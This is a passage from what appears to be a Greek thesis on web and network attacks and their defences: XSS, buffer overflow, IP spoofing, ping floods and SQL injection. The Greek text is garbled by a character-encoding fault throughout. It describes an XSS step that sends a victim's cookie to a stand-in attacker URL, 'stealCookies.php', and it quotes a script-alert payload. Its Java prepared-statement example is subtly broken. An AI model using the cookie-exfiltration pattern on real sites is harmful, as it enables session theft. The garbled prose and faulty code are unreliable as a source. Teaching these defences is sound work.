5. Ο browser ηνπ ρξήζηε ζηε πξνζπάζεηα ηνπ λα εκθαλίζεη ηα δεδνκέλα πνπ 

επέζηξεςε ν server ηνπ forum, ζα εθηειέζεη ηνλ javascript θώδηθα πνπ εηζήγαγε ν 

θαθόβνπινο ρξήζηεο. 

 

6. Η εθηέιεζε ηνπ θαθόβνπινπ θώδηθα ζα ζηείιεη έλα HTTPGETrequest ζηελ 

ηζηνζειίδα «http://attackerLink/stealCookies.php», ζην νπνίν ζα ππάξρεη ε 

παξάκεηξνο «cookie‖ θαη ε νπνία ζα πεξηέρεη ηα δεδνκέλα ηνπ cookie ηνπ 

ρξήζηε. 

 

7. Όηαλ ην αίηεκα θηάζεη ζην site ηνπ θαθόβνπινπ ρξήζηε, ζα γίλεη αλάθηεζε ησλ 

cookie ηνπ ζύκαηνο θαη ζηε ζπλέρεηα ζα απνζεθεπηνύλ ζηε βάζε δεδνκέλσλ ηνπ 

επηηηζέκελνπ. Με ηνλ ηξόπν απηό επηηεύρζεθε ε ππνθινπή ησλ cookie ηνπ 

ζύκαηνο. 

Τόζν ζηηο stored επηζέζεηο, όζν θαη ζηηο persistent ν θαθόβνπινο ρξήζηεο ζα κπνξεί λα 

αλαγθάζεη ην ζύκα λα εθηειέζεη κηα δηαθνξεηηθή ελέξγεηα, απιά ηξνπνπνηώληαο ην 

πεξηερόκελν ηνπ javascript θώδηθα. 
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3 ΜΟΡΦΔ΢ ΑΜΤΝΑ΢ 

3.1 ΣΡΟΠΟΙ ΆΜΤΝΑ΢ ΑΠΔΝΑΝΣΙ ΢Δ BUFFEROVERFLOW ΔΠΙΘΔ΢ΔΙ΢ 

 

Σηελ ελόηεηα απηή ζα γίλεη αλαθνξά ζε ζέκαηα αζθάιεηαο, κε ζηόρν ηελ αληηκεηώπηζε 

BufferOverflow επηζέζεσλ από έλα ινγηζκηθό. Οη επηζέζεηο απηέο ρσξίδνληαη ζε δύν 

θαηεγνξίεο, ηηο ελέξγεηεο πνπ πξέπεη λα θάλεη ν developer ελόο ινγηζκηθνύ θαη ηηο 

ελέξγεηεο πνπ πξέπεη λα θάλεη ην ιεηηνπξγηθό ζύζηεκα. 

Αξρηθά όζνλ αθνξά ηνλ developer κηα επηινγή πνπ έρεη είλαη ε ρξήζε safe-

typelanguages, όπσο Python θαη Java, ζηηο νπνίεο ε δέζκεπζε θαη ε απνδέζκεπζε ηνπ 

ρώξνπ γίλνληαη από ηνλ ίδην ηνλ compiler. Από εθεί πέξα, ν developer είλαη ππεύζπλνο 

γηα ηελ παξαγσγή θώδηθα ινγηζκηθνύ, ν νπνίνο ζα ειέγρεη αλ ε είζνδνο πνπ ζα 

αληηγξαθεί ζε έλα buffer μεπεξλάεη ηα όξηα απηνύ ή όρη. Δπηπξόζζεηα ν developer είλαη 

ππεύζπλνο γηα ηελ επηινγή θαη ρξήζε βηβιηνζεθώλ πνπ δελ έρνπλ αδπλακία ζε 

BufferOverflow επηζέζεηο. Τέινο, ζα πξέπεη λα γίλεηαη ζπλερήο έιεγρνο ηνπ 

παξαγόκελνπ ινγηζκηθνύ, ηόζν πξηλ ηελ έμνδν ηνπ ζηελ αγνξά όζν θαη κεηά από απηήλ 

θαη λα δηαζέζεη ηα απαξαίηεηα updates/patches ζε πεξίπησζε πνπ βξεζεί κηα αδπλακία 

ηνπ ινγηζκηθνύ. Η αδπλακία απηή κπνξεί λα βξεζεί είηε από ηνπο testers ηηο εηαηξίαο είηε 

από feedback ρξεζηώλ. 

Όζνλ αθνξά ηηο επζύλεο ηνπ ιεηηνπξγηθνύ ζπζηήκαηνο, ππάξρνπλ πνιινί ηξόπνη 

άκπλαο απέλαληη ζε BufferOverflow επηζέζεηο. Μηα ηέηνηα άκπλα είλαη ην καξθάξηζκα 

ηεο ζηνίβαο σο κε εθηειέζηκεο. Βάζε ηεο ηερληθήο απηήο, δελ επηηξέπεηαη ε εθηέιεζε 

θώδηθα πνπ είλαη απνζεθεπκέλνο εληόο ηεο ζηνίβαο. Με ηνλ ηξόπν απηό 

εμνπδεηεξώλνληαη επηζέζεηο πνπ εηζάγνπλ ηνλ θαθόβνπιν θώδηθα εληόο ηεο ζηνίβαο(πρ 

εληόο ηεο ππεξρεηιηζκέλεο κλήκεο). Μηα δεύηεξε κνξθή άκπλαο απέλαληη ζηηο 

BufferOverflow επηζέζεηο είλαη ε ηπραηνπνίεζε ηεο ζηνίβαο θαη ηνπ ζσξνύ. Βάζε ηεο 

ηερληθήο απηήο, επηιέγεηαη ηπραία ε δηεύζπλζε απνζήθεπζεο δεδνκέλσλ ζηε ζηνίβα ή 

ζην ζσξό, εμνπδεηεξώλνληαο κε απηόλ ηνλ ηξόπν, επηζέζεηο, νη νπνίεο ζηεξίδνληαη ζηελ 

επαλεθηέιεζε ελόο πξνγξάκκαηνο, θαζώο ζηελ πξώηε εθηέιεζε αζρνιήζεθαλ κε ηελ 

αλάθηεζε ηεο δηεύζπλζεο απνζήθεπζεο ηνπ buffer, ν νπνίνο είλαη επάισηνο ζε 

BOattacks. Μηα ηειεπηαία κνξθή άκπλαο είλαη ε ρξήζηε ησλ canaries. Τα canaries είλαη 

κηα κνξθή πξνζηαζίαο γηα ηελ ζηνίβα, ηα νπνία πξνζπαζνύλ λα αλαγλσξίζνπλ αλ έρεη 

γίλεη απόπεηξα γηα bufferoverflow επίζεζε. Σε πεξίπησζε πνπ έρεη γίλεη απόπεηξα γηα 
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bufferoverflow επίζεζε, ην πξόγξακκα ηεξκαηίδεη θαη παξάγεηαη θαηάιιειν κήλπκα 

εηδνπνίεζεο πξνο ηνλ ρξήζηε. Πην ζπγθεθξηκέλα ηα canaries ηνπνζεηνύληαη ζηε ζηνίβα, 

πξηλ ην returnaddress, κε ζηόρν λα έρνπλ ηξνπνπνηεζεί πξώηα απηά θαη ζηε ζπλέρεηα ε 

returnaddress. Δπνκέλσο, όηαλ δεκηνπξγείηαη έλα λέν frame, ηνπνζεηείηαη από ηνλ 

επεμεξγαζηή ε ηηκή ηνπ canary θαη ηαπηόρξνλα ε νπνία θπιάζζεηαη ζην TLB ηνπ 

επεμεξγαζηή. Δπνκέλσο πξηλ γίλεη ρξήζε ηεο returnaddress, ν επεμεξγαζηήο ειέγρεη αλ 

έρεη ηξνπνπνηεζεί ε ηηκή ηνπ canary ή όρη, κε βάζε ηελ ηηκή πνπ έρεη απνζεθεύζεη ζην 

TLB. Υπάξρνπλ 3 κνξθέο canary, ηα terminator canaries, ηα random canaries θαη ηα 

random XOR canaries. 

● Terminatorcanaries: Πξόθεηηαη γηα ηελ πην απιή κνξθή canaries, όπνπ σο value 

απνζεθεύεηε ε ηηκή ηεξκαηηζκνύ ελόο string. Με ηελ ρξήζε απηήο ηεο κνξθήο 

canaries, είλαη αδύλαηε ε bufferoverflow επίζεζε, κέζσ ηεο ρξήζεο νξηζκέλσλ 

ζπλάξηεζεσλ, όπσο είλαη ε strcpy. Τα αδύλαηα ζεκεία απηώλ ησλ canaries είλαη 

όηη αθελόο δελ απνηξέπεη επηζέζεηο, όπνπ ρξεζηκνπνηνύληαη ζπλαξηήζεηο πνπ 

δελ επεξεάδνληαη από ην Stringterminator, όπσο είλαη ε memcpy θαη αθεηέξνπ 

όηη ε ηηκή ηνπ canary είλαη γλσζηή θαη επνκέλσο είλαη εθηθηό ε πξνζπέξαζε ηνπ 

ζηε stack, δίρσο λα ηξνπνπνηεζεί ε ηηκή απηνύ. 

● RandomCanaries: Πξόθεηηαη γηα canaries πνπ παίξλνπλ ηπραία ηηκή από ηνλ 

επεμεξγαζηή θαη ε νπνία δηαθέξεη από frame ζε frame. Ο ζηόρνο απηήο ηεο 

άκπλαο είλαη ε αδπλακία πξνζπέξαζεο ηνπ canary, δίρσο λα αιινησζεί ε ηηκή 

ηνπ, δεδνκέλνπ όηη δελ είλαη γλσζηή εμ΄αξρήο. Δίλαη ζεκαληηθό λα ηνληζηεί, πσο 

απηή ε κνξθή πξνζηαζίαο δελ απαγνξεύεη ζηνλ ρξήζηε λα θάλεη override ηελ 

returnaddress, απιά δελ ζα ηελ ιάβεη ππόςηλ ηνπ γηα εθηέιεζε ν επεμεξγαζηήο. 

● RandomXORCanaries: Τα randomXORcanaries είλαη ζηελ πξαγκαηηθόηεηα 

randomcanaries, ηα νπνία έρνπλ γίλεη xor κε ηε returnaddress. Με ηνλ ηξόπν 

απηό ε returnaddress δέλεηε άκεζα κε randomcanary θαη πηζαλή αιιαγή ζηε 

returnaddress, πηζαλόηαηα λα κε ζπκβαδίδεη κε ηε ηηκή ηνπ canary. 
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3.2 ΑΝΣΙΜΔΣΩΠΙ΢Η ΣΟΤ SPOOFING 

 

Η πην απνηειεζκαηηθή αληηκεηώπηζε ελάληηα ζε απηήλ ηελ απεηιή είλαη ε ρξήζε ελόο 

ππνινγηζηή gateway πνπ ζα βξίζθεηαη αλάκεζα ζην ηνπηθό δίθηπν θαη ην Γηαδίθηπν. Ο 

ππνινγηζηήο απηόο ζα είλαη θαηάιιεια ξπζκηζκέλνο νύησο ώζηε λα απνξξίπηεη όια ηα 

παθέηα πνπ έξρνληαη από ην δηαδίθηπν θαη έρνπλ σο δηεύζπλζε πξνέιεπζεο ηελ 

δηεύζπλζε IP ελόο ππνινγηζηή ηνπ ηνπηθνύ δηθηύνπ. Με ηνλ ηξόπν απηό εμαζθαιίδεηαη 

όηη έλαο εμσηεξηθόο εηζβνιέαο δελ ζα ρξεζηκνπνηήζεη θάπνηα από ηηο δηεπζύλζεηο IP ηνπ 

ηνπηθνύ δηθηύνπ σο ςεύηηθε δηεύζπλζε ζηα παθέηα ηνπ. Δπίζεο, ν ππνινγηζηήο 

gateway ζα πξέπεη λα απνξξίπηεη όια ηα παθέηα πνπ πξνέξρνληαη από ην ηνπηθό 

δίθηπν θαη έρνπλ δηεύζπλζε πξνέιεπζεο κία δηεύζπλζε IP πνπ δελ αλήθεη ζηνπο 

ππνινγηζηέο ηνπ ηνπηθνύ δηθηύνπ. Έηζη εμαζθαιίδεηαη όηη θάπνηνο ρξήζηεο ηνπ ηνπηθνύ 

δηθηύνπ δελ πξόθεηηαη λα ρξεζηκνπνηήζεη ηελ ηερληθή IPspoofing γηα λα επηηεζεί ζε 

θάπνηνλ άιινλ ππνινγηζηή εθηόο ηνπηθνύ δηθηύνπ. 

Μεξηθά από ηα πξσηόθνιια πνπ βξίζθνληαη ζε αλώηεξν επίπεδν ζε ζρέζε κε ην 

πξσηόθνιιν IP (πρ TCP) έρνπλ ηνπο δηθνύο ηνπο κεραληζκνύο αζθαιείαο έλαληη ηνπ 

IPspoofing. Γηα παξάδεηγκα ην TCP αξηζκεί θάζε παθέην πνπ κεηαδίδεηαη νύησο ώζηε νη 

δύν ππνινγηζηέο πνπ ζπκκεηέρνπλ ζηελ ζύλδεζε TCP λα μέξνπλ κε βεβαηόηεηα εάλ 

θάπνην παθέην αλήθεη ζηελ παξνύζα ζύλδεζε ή πξνέξρεηαη από θάπνηνλ ηξίην 

ππνινγηζηή. 

 

3.2.1 Αληηκεηώπηζεpingofdeath 

 

Γηα ηελ αληηκεηώπηζε απηήο ηεο επίζεζεο ζα πξέπεη θαηά ηελ ζπλαξκνιόγεζε ησλ 

δηαδνρηθώλ παθέησλ IP λα ειέγρεηαη θαηά πόζν απηά είλαη έγθπξα. Με ηνλ ηξόπν απηό 

είλαη δπλαηόλ λα απνξξίπηνληαη παθέηα IP πνπ έρνπλ κέγεζνο κεγαιύηεξν ηνπ 

επηηξεπηνύ θαη έηζη απνθεύγεηαη ν θίλδπλνο απηνύ ηνπ ηύπνπ επίζεζεο. Πνιιέο θνξέο 

απηνί νη έιεγρνη γίλνληαη θαη από ζπζηήκαηα firewall νύησο ώζηε λα πξνζηαηεπζνύλ νη 

ππνινγηζηέο πνπ βξίζθνληαη ζε θάπνην ηνπηθόδίθηπν. Μία άιιε ιύζε είλαη ε 

ρξεζηκνπνίεζε κλήκεο buffer κεγαιύηεξεο ησλ 65535 bytes νύησο ώζηε λα κελ 

ζπκβαίλεη ην ζθάικα bufferoverflow. Όκσο απηή ε ιύζε δελ είλαη ε βέιηηζηε, δεδνκέλνπ 

όηη δίλεη ζηνλ ππνινγηζηή ηελ δπλαηόηεηα λα ρεηξηζηεί παθέηα IP πνπ έρνπλ κέγεζνο 

http://el.wikipedia.org/wiki/Gateway
http://el.wikipedia.org/wiki/���������
http://el.wikipedia.org/wiki/TCP
http://el.wikipedia.org/wiki/Firewall
http://el.wikipedia.org/wiki/������_�����������
http://el.wikipedia.org/wiki/Buffer
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κεγαιύηεξν απηνύ πνπ θαζνξίδεηαη σο κέγηζην ζην πξσηόθνιιν θαη κε ηνλ ηξόπν απηό 

ην παξαβηάδεη. 

 

3.2.2 ΑληηκεηώπηζεPingFlood 

Σηελ αληηκεηώπηζε ησλ ζπλεπεηώλ από κία επίζεζε ping, ην ζύκα κπνξεί λα 

ρξεζηκνπνηήζεη έλα firewall νύησο ώζηε ηα παθέηα ping λα ζηακαηάλε ζε απηό θαη λα 

απνξξίπηνληαη. Έηζη ινηπόλ απνηξέπεηαη ε απνζηνιή παθέησλ ICMP EchoReply από 

ην ζύκα θαη θαηά ζπλέπεηα δελ ζπαηαιηέηαη πνιύηηκε επδσληθή θαη δελ δίλεη 

πιεξνθνξίεο ζηνλ επηηηζέκελν γηα ηελ εμέιημε ηεο επίζεζήο ηνπ. 

Μία άιιε ηαθηηθή είλαη ε εμήο: Αληί λα απνξξίπηνληαη όια ηα παθέηα ping, θαηαγξάθεηαη 

ν αξηζκόο ησλ παθέησλ πνπ δέρεηαη ην firewall θαη εάλ δηαπηζησζεί όηη ν αξηζκόο απηόο 

ππεξβαίλεη θάπνην αλώηαην όξην πνπ έρεη πξνθαζνξηζηεί, ηόηε ην firewall αξρίδεη λα ηα 

απνξξίπηεη. 

 

Πηγή: http://www.slideshare.net/ 

Τηο πεξηζζόηεξεο θνξέο ν επηηηζέκελνο δελ ρξεζηκνπνηεί ηνλ δηθό ηνπ ειεθηξνληθό 

ππνινγηζηή γηα λα επηηεζεί, αιιά ρξεζηκνπνηεί άιινπο ππνινγηζηέο πνπ έρεη 

παξαβηάζεη πξνεγνπκέλσο. Με ηνλ ηξόπν απηό θαηαθέξλεη λα θαιύςεη ηα ίρλε ηνπ θαη ν 

εληνπηζκόο ηνπ θαζίζηαηαη πνιύ δύζθνινο. 

http://el.wikipedia.org/wiki/Firewall
http://el.wikipedia.org/wiki/ICMP
http://el.wikipedia.org/wiki/Firewall
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3.3 ΠΑΡΔΜΠΟΓΙ΢Η ΣΩΝ SQL ΔΠΙΘΔ΢ΔΩΝ 

 

Από ηα παξαπάλσ ζπκπεξαίλνπκε όηη νη επηζέζεηο δειεηεξίαζεο ηνπ SQL θώδηθα 

κπνξεί λα έρνπλ ζεκαληηθέο επηπηώζεηο ηόζν ζηε ιεηηνπξγίαο κηαο εθαξκνγήο, όζν θαη 

ζηε πξνζσπηθή δσή ησλ αλζξώπσλ, κέζσ ηεο αλάθηεζεο ησλ πξνζσπηθώλ ζηνηρείσλ 

ελόο ρξήζηε. Γηα ην ιόγν απηό, είλαη αλαγθαία ε ζέζπηζε κέηξσλ γηα ηελ πξόιεςε θαη 

ηελ αληηκεηώπηζε ηέηνηνπ είδνπο επηζέζεσλ. 

Υπάξρνπλ δύν ηύπνη άκπλαο απέλαληη ζε επηζέζεηο δειεηεξίαζεο ηνπ SQL θώδηθα, νη 

πξσηαξρηθέο κνξθέο άκπλαο θαη νη επηπξόζζεηεο κνξθέο άκπλαο. Οη πξσηαξρηθέο 

κνξθέο άκπλαο ζπλήζσο είλαη ελαιιαθηηθνί κεηαμύ ηνπο θαη απνηεινύλ ηε πξώηε θαη 

βαζηθόηεξνη κνξθέο άκπλαο απέλαληη ζηηο επηζέζεηο SQLinjection. Αληίζεηα νη 

επηπξόζζεηεο κνξθέο άκπλαο είλαη ζπκπιεξσκαηηθνί ηξόπνη άκπλαο γηα ηελ ελίζρπζε 

ηεο άκπλαο κηαο εθαξκνγήο. 

 

3.3.1 Πρφηαρτηθές κορθές Άκσλας 

 

1. Escaping ηφλ Γεδοκέλφλ Δηζόδφλ ηοσ Υρήζηε 

Η πξώηε κνξθή ηέηνηνπ είδνπο άκπλαο είλαη ην escaping ησλ δεδνκέλσλ πνπ εηζήγαγε 

ν ρξήζηεο. Βάζε ηεο ηερληθήο απηήο γίλεηαη escaping ησλ εηδηθώλ ζπκβόισλ όπσο είλαη 

ηα  quotes θαη ην dash. Τα ζύκβνια απηά ζπλήζσο είλαη απαξαίηεηα γηα ηελ επίηεπμε 

κηαο SQL επίζεζεο, νπόηε ην escaping ησλ ζπκβόισλ απηώλ απνηειεί κηα κνξθή 

άκπλαο πνπ πξνζηαηεύεη ην ζύζηεκα ζε κεγάιν βαζκό από ηέηνηεο είδνπο επηζέζεηο.  

 

2. Παρακεηροποίεζε Δπερφηεκάηφλ 

Η δεύηεξε κνξθή επίζεζεο είλαη ε παξακεηξνπνίεζε ησλ επεξσηεκάησλ. Η κέζνδνο 

απηή επηηπγράλεηαη κέζσ ηεο ρξήζεο ησλ PreparedStatements. Τα preparedstatements 

είλαη κηα ηερληθή, ε νπνία ζηνρεύεη ζηελ εθηέιεζε όκνησλ SQL δειώζεσλ κε πςειή 

απόδνζε. Η ιεηηνπξγία ηεο ηερληθήο απηήο βαζίδεηαη ζε δύν ζηάδηα. Σην πξώην ζηάδην 

γίλεηαη ε απνζηνιή ηεο κνξθήο ηνπ επεξσηήκαηνο. Όηαλ ην ζύζηεκα ΒΓ ιάβεη ην 

επεξώηεκαηα ζα γίλεη ε αλάιπζε, ε ζύλζεζε θαη ε βειηηζηνπνίεζε ηνπ πξνηύπνπ ηνπ 

επεξσηήκαηνο θαη ελ ηέιεη ε απνζήθεπζε ηνπ πιάλνπ εθηέιεζεο απηνύ ζηε θξπθή 
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κλήκε ηνπ ζπζηήκαηνο. Σηε δεύηεξε θάζε απνζηέιινληαη νη ηηκέο ησλ δεδνκέλσλ ηνπ 

εξσηήκαηνο θαη αθνύ αλαθηεζεί ην πιάλν εθηέιεζεο ζα γίλεη ε εθηέιεζε ηνπ 

επεξσηήκαηνο. 

Αο ππνζέζνπκε γηα παξάδεηγκα όηη ζέινπκε λα εηζάγνπκε ηνπ δύν λένπο ρξήζηεο ζην 

ζύζηεκα. Η πηζαλή εθηέιεζε κηαο ηέηνηαο δηαδηθαζίαο κε ηελ ρξήζε PreparedStatement 

είλαη ε εμήο: 

PreparedStatement stmt = connection.prepareStatement(―INSERT INTO users (login, 

password, fullname) VALUES(?,?,?)‖); 

 

//Δηζαγσγή πξώηνπ ρξήζηε 

stmt.setString(―user1‖); 

stmt.setString(―pass1‖); 

stmt.setString(―Nikos Papadopoulos‖); 

stmt.executeQuery(); 

 

//Δηζαγσγή δεύηεξνπ ρξήζηε 

stmt.setString(―user2‖); 

stmt.setString(―pass2‖); 

stmt.setString(―Petros Haralampopoulos‖); 

stmt.executeQuery(); 

 

Τν πιενλέθηεκα κε ηε ρξήζε ησλ preparedstatement είλαη όηη ε επεμεξγαζία ηνπ 

επεξσηήκαηνο γίλεηαη κόλν κίαο θνξά, πξηλ έξζνπλ ηα δεδνκέλα. Με ηνλ ηξόπν απηό 

αθελόο κελ απμάλεηαη ε απόδνζε ηνπ ζπζηήκαηνο, αθεηέξνπ δε παξέρεηαη ηζρπξή 

πξνζηαζία ελάληηα ζε επηζέζεηο κόιπλζεο ηνπ SQL θώδηθα, θαζώο ε αλάιπζε θαη ε 

ζύλζεζε ηνπ επεξσηήκαηνο γίλεηαη πξηλ έξζνπλ ηα δεδνκέλα πνπ εηζήγαγε ν ρξήζηεο. 

Με ηνλ ηξόπν απηό επηηπγράλεηαη ε κε ηξνπνπνίεζε ηεο SQL δήισζεο από ηελ είζνδν 

πνπ έδσζε ν ρξήζηεο. Μνλαδηθή εμαίξεζε είλαη όηαλ ε δνκή ηνπ επεξσηήκαηνο 
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θηηάρλεηαη δπλακηθά θαη ζηελ νπνία κπνξεί λα έρεη επηξξνή νη ηηκέο ησλ δεδνκέλσλ πνπ 

έδσζε ν ρξήζηεο. 

 

3. Αποζεθεσκέλες Γηαδηθαζίες(Stored Procedures) 

 

Η ηειεπηαία πξσηαξρηθή κνξθή άκπλαο είλαη νη απνζεθεπκέλεο δηαδηθαζίεο. Οη 

απνζεθεπκέλεο δηαδηθαζίαο είλαη δηαδηθαζίαο γξακκέλεο ζε θώδηθα SQL, νη νπνίεο 

απνζεθεύνληαη εληόο ηνπ ζπζηήκαηνο Βάζεσλ Γεδνκέλσλ.  Η κεγάιε δηαθνξά ηνπ 

έγθεηηαη ζην γεγνλόο όηη νη απνζεθεπκέλεο δηαδηθαζίαο είλαη απνζεθεπκέλεο εληόο ηεο 

βάζεο δεδνκέλσλ, ελώ ηα preparedstatements είλαη κηα ζεηξά δειώζεσλ SQL 

εξσηεκάησλ ηα νπνία ζηέιλνληαη γηα εθηέιεζε ζηε βάζε δεδνκέλσλ. Παξά ηε κεγάιε 

απηή ηνπο δηαθνξά, ηα βαζηθά πιενλεθηήκαηα ησλ απνζεθεπκέλσλ δηαδηθαζηώλ είλαη 

όκνηα κε απηά ηεο παξακεηξνπνίεζεο ησλ επεξσηεκάησλ.  Αξρηθά ε αλάιπζε, ε 

ζύλζεζε θαη ε βειηηζηνπνίεζε ηνπ SQL θώδηθα γίλεηαη κηα θνξά, όηαλ γίλεηαη ε 

δεκηνπξγία ηεο δηαδηθαζίαο. Δπηπιένλ, δεδνκέλνπ όηη ε επεμεξγαζία ηνπ επεξσηήκαηνο 

γίλεηαη όηαλ δεκηνπξγείηαη ε δηαδηθαζία, δειαδή πξηλ παξαιεθζνύλ ηα δεδνκέλα ηνπ 

ρξήζηε θαη επνκέλσο απνηειεί έλα δπλαηό ηξόπν πξνζηαζίαο απέλαληη ζε επηζέζεηο 

δειεηεξίαζεο ηνπ SQL θώδηθα. Δίλαη ζεκαληηθό λα ηνληζηεί, όηη ελώ ε ρξήζε ησλ  

απνζεθεπκέλσλ δηαδηθαζηώλ κεηώλεη ηε δηθηπαθή θίλεζε πνπ κπνξεί λα πξνθιεζεί, ζε 

ζρέζε κε ηε ρξήζε ηεο παξακεηξνπνίεζεο ησλ επεξσηεκάησλ, σζηόζν ε ρξήζε 

απνθιεηζηηθά θαη κόλν απνζεθεπκέλσλ δηαδηθαζηώλ κπνξεί λα ιπγήζεη έλα ζύζηεκα 

Βάζεσλ Γεδνκέλσλ. Γηα ην ιόγν απηό νη απνζεθεπκέλεο δηαδηθαζίεο ζα πξέπεη λα 

ρξεζηκνπνηνύληαη κόλν γηα δηαδηθαζίεο πνπ εθηεινύληαη πνιύ ζπρλά.  

 

3.3.2 Δπηπρόζζεηες Μορθές Άκσλας 

 

i. Δθτώρεζε Διάτηζηφλ Γσλαηώλ Γηθαηφκάηφλ (Least Priviledges and Use 

of Views) 

Έλαο ηξόπνο γηα λα κεησζεί ε πηζαλή δεκηά πνπ κπνξεί λα πξνθύςεη από κηα επίζεζε 

δειεηεξίαζεο ηνπ SQL θώδηθα είλαη ε εθρώξεζε ησλ ειάρηζησλ δπλαηώλ δηθαησκάησλ 

ζηε Β.Γ. ζηνπο ρξήζηεο ηεο εθαξκνγήο. Γελ ζεσξείηαη θαιή ηαθηηθή ε εθρώξεζε 

δπλαηόηεηαο δηθαησκάησλ αληίζηνηρεο κε απηή ηνπ δηαρεηξηζηή ηεο βάζεο ζηνπο ρξήζηεο 

ηεο εθαξκνγήο, θαζώο ζα έρνπλ ηε δπλαηόηεηα κέζσ SQL επηζέζεσλ λα 
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ηξνπνπνηήζνπλ ηε βάζε δεδνκέλσλ, κε ηνλ ηξόπν πνπ απηνί επηζπκνύλ. Ψο εθ ηνύηνπ, 

αλ ζε έλα ζύλνιν από tables, νη ρξήζηεο έρνπλ ηε δπλαηόηεηα απνθιεηζηηθά θαη κόλν λα 

δηαβάδνπλ δεδνκέλα, ηόηε δελ ρξεηάδεηαη λα έρνπλ δηθαηώκαηα ηξνπνπνίεζεο ησλ table 

απηώλ. Μηα πηζαλή ζρεδηαζηηθή επηινγή είλαη ε ρξήζε όςεσλ ζε πεξίπησζε πνπ νη 

ρξήζηεο είηε ζα δηαβάδνπλ έλα κέξνο ησλ δεδνκέλσλ ελόο table είηε δηαβάδνπλ εηθνληθά 

tables, ηα νπνία πξνθύπηνπλ από ζύλζεζε θπζηθώλ tables. Σπλήζσο νη όςεηο 

αληηζηνηρνύλ κόλν ζε ελέξγεηεο αλάθηεζεο θαη όρη ελεκέξσζεο. Με ηνλ ηξόπν απηό, 

αθόκε θαη αλ νη θαθόβνπινη ρξήζηεο θαηαθέξνπλ λα θάλνπλ κηα επηηπρεκέλε επίζεζε, ε 

ύπαξμε πεξηνξηζκέλσλ δηθαησκάησλ είλαη ηθαλή λα πεξηνξίζεη ζε ζεκαληηθό βαζκό ηηο 

επηπηώζεηο ησλ επηζέζεσλ απηώλ. 

 

ii. Δπηθύρφζε Δηζόδοσ Με Σε Υρήζε Λεσθής 

Λίζηας(WhiteListInputValidation) 

Μηα επηπξόζζεηε κνξθή πξνζηαζίαο απέλαληη ζε SQL επηζέζεηο απνηειεί ε ρξήζε ησλ 

whitelist. Πξόθεηηαη γηα κηα κνξθή πξνζηαζία πνπ δνπιεύεη ζην client ηεο εθαξκνγήο θαη 

όρη ζην server. Σύκθσλα κε ηε κέζνδν απηή, γηα πεδία πνπ ην format εηζόδνπ είλαη 

ζπγθεθξηκέλν(πρ πεδία γηα εκεξνκελίεο, ηαρπδξνκηθό θώδηθα, emails θ.α.), ε εθαξκνγή 

ζα αληρλεύεη αλ ε είζνδνο πνπ δόζεθε αθνινπζεί ηε ελδεδεηγκέλε κνξθή. Σε πεξίπησζε 

πνπ θάηη ηέηνην δελ ζπκβαίλεη, ηόηε ζα εκθαλίδεηαη αληίζηνηρν κήλπκα ιάζνπο ζην 

ρξήζηε θαη ζα απνθεύγεηαη ε απνζηνιή ηνπ αηηήκαηνο ζηνλ server γηα επεμεξγαζία. Με 

ηε ρξήζε ηεο άκπλαο απηήο απνθεύγεηαη ε επίζεζε δειεηεξίαζεο ηνπ SQL θώδηθα, από 

έλα ππνζύλνιν ησλ πεδίσλ πνπ θαιείηαη ν ρξήζηεο λα ζπκπιεξώζεη, κηαο θαη ε 

ελδεδεηγκέλε κνξθή εηζόδσλ είλαη αξθεηά πεξηνξηζηηθή θαη δελ επηηξέπεη ηελ επίηεπμε 

ηέηνησλ επηζέζεσλ. 

 

iii. Δπηθύρφζε Γεδοκέλφλ(Data Validation) 

Βάζε ηεο ηερληθήο απηήο, ε εθαξκνγή ζα πξέπεη λα ειέγρεη αλ ηα δεδνκέλα πνπ πήξε 

σο είζνδν από ηνλ ρξήζηε είλαη έγθπξα. Γηα παξάδεηγκα, αλ ε εθαξκνγή πεξηκέλεη λα 

δερζεί σο είζνδν έλαλ αθέξαην αξηζκό θαη σζηόζν ηα δεδνκέλα εηζόδνπ είλαη 

αιθαξηζκεηηθνί ραξαθηήξεο, ηόηε ζα επηζηξέςεη θαηάιιειν κήλπκα ιάζνπο. Με ηνλ 

ηξόπν απηό ζα απνθεπρζνύλ νξηζκέλεο κνξθέο επηζέζεηο, νη νπνίεο ζηε ζπγθεθξηκέλε 

πεξίπησζε ζα πξνζπαζήζνπλ λα εθκεηαιιεπηνύλ ην γεγνλόο όηη ζηε δεκηνπξγία ηνπ 

αληίζηνηρνπ επεξσηήκαηνο ζηε πιεπξά ηνπ server, ζα πξνζηεζεί ε  ηηκή ηεο αληίζηνηρεο 

κεηαβιεηήο, δίρσο λα πεξηβάιιεηαη από quotes. Η κνξθή απηή άκπλαο είλαη 
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παξαπιήζηα ηεο whitelist, κε ηε δηαθνξά, όηη ε whitelist πξνζηαηεύεη κέζσ ηε ρξήζε 

θαλόλσλ, ελώ ην datavalidation επηηπγράλεηαη κέζσ ινγηθώλ πεξηνξηζκώλ. 
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3.4 ΆΜΤΝΑ ΈΝΑΝΣΙ ΢Δ XSS ΔΠΙΘΔ΢ΔΙ΢ 

 

Όζνλ αθνξά ηνπο πξνγξακκαηηζηέο ηζηνζειίδσλ ππάξρνπλ δύν ηξόπνη γηα λα 

πξνθπιάμνπλ ηελ παξαγόκελε εθαξκνγή από XSS επηζέζεηο: 

1. Κσδηθνπνίεζε(Encoding) 

2. Δπηθύξσζε(Validation) 

 

● Κφδηθοποίεζε: Η θσδηθνπνίεζε αθνξά ηoescaping ηεο εηζόδνπ ηνπ ρξήζηε, 

έηζη ώζηε ν θπιινκεηξεηήο λα ηα εξκελεύζεη σο δεδνκέλα θαη όρη σο θώδηθα. Ο 

πην αλαγλσξίζηκνο ηύπνο θσδηθνπνίεζεο ζηελ αλάπηπμε ηζηνύ αθνξά ην 

HTMLescaping, βάζε ηνπ νπνίνπ νη εηδηθνί ραξαθηήξεο θσδηθνπνηνύληαη κε 

δηαθνξεηηθό ηξόπν. Γηα παξάδεηγκα ηα ζύκβνια ―<‖ θαη ―>‖ θσδηθνπνηνύληαη σο 

―&lt;‖ θαη ―&gt;‖  αληίζηνηρα. Δπνκέλσο αλ ε είζνδνο πνπ έδηλε ν ρξήζηεο ήηαλ 

―<script>alert(‗Hacked‘)</script‖, ε αληίζηνηρε έμνδνο κεηά ηελ θσδηθνπνίεζε ζα 

είλαη ε εμήο: 

&lt;script&gt;alert(‗Hacked‘)&lt;/script&gt; 

 

● Δπηθύρφζε:  Η επηθύξσζε αθνξά ην θηιηξάξηζκα ηεο εηζόδνπ ηνπ ρξήζηε, έηζη 

ώζηε λα αθαηξεζνύλ ηα θαθόβνπια κέξε απηνύ. Μηα από ηηο πην ζπλεζηζκέλεο 

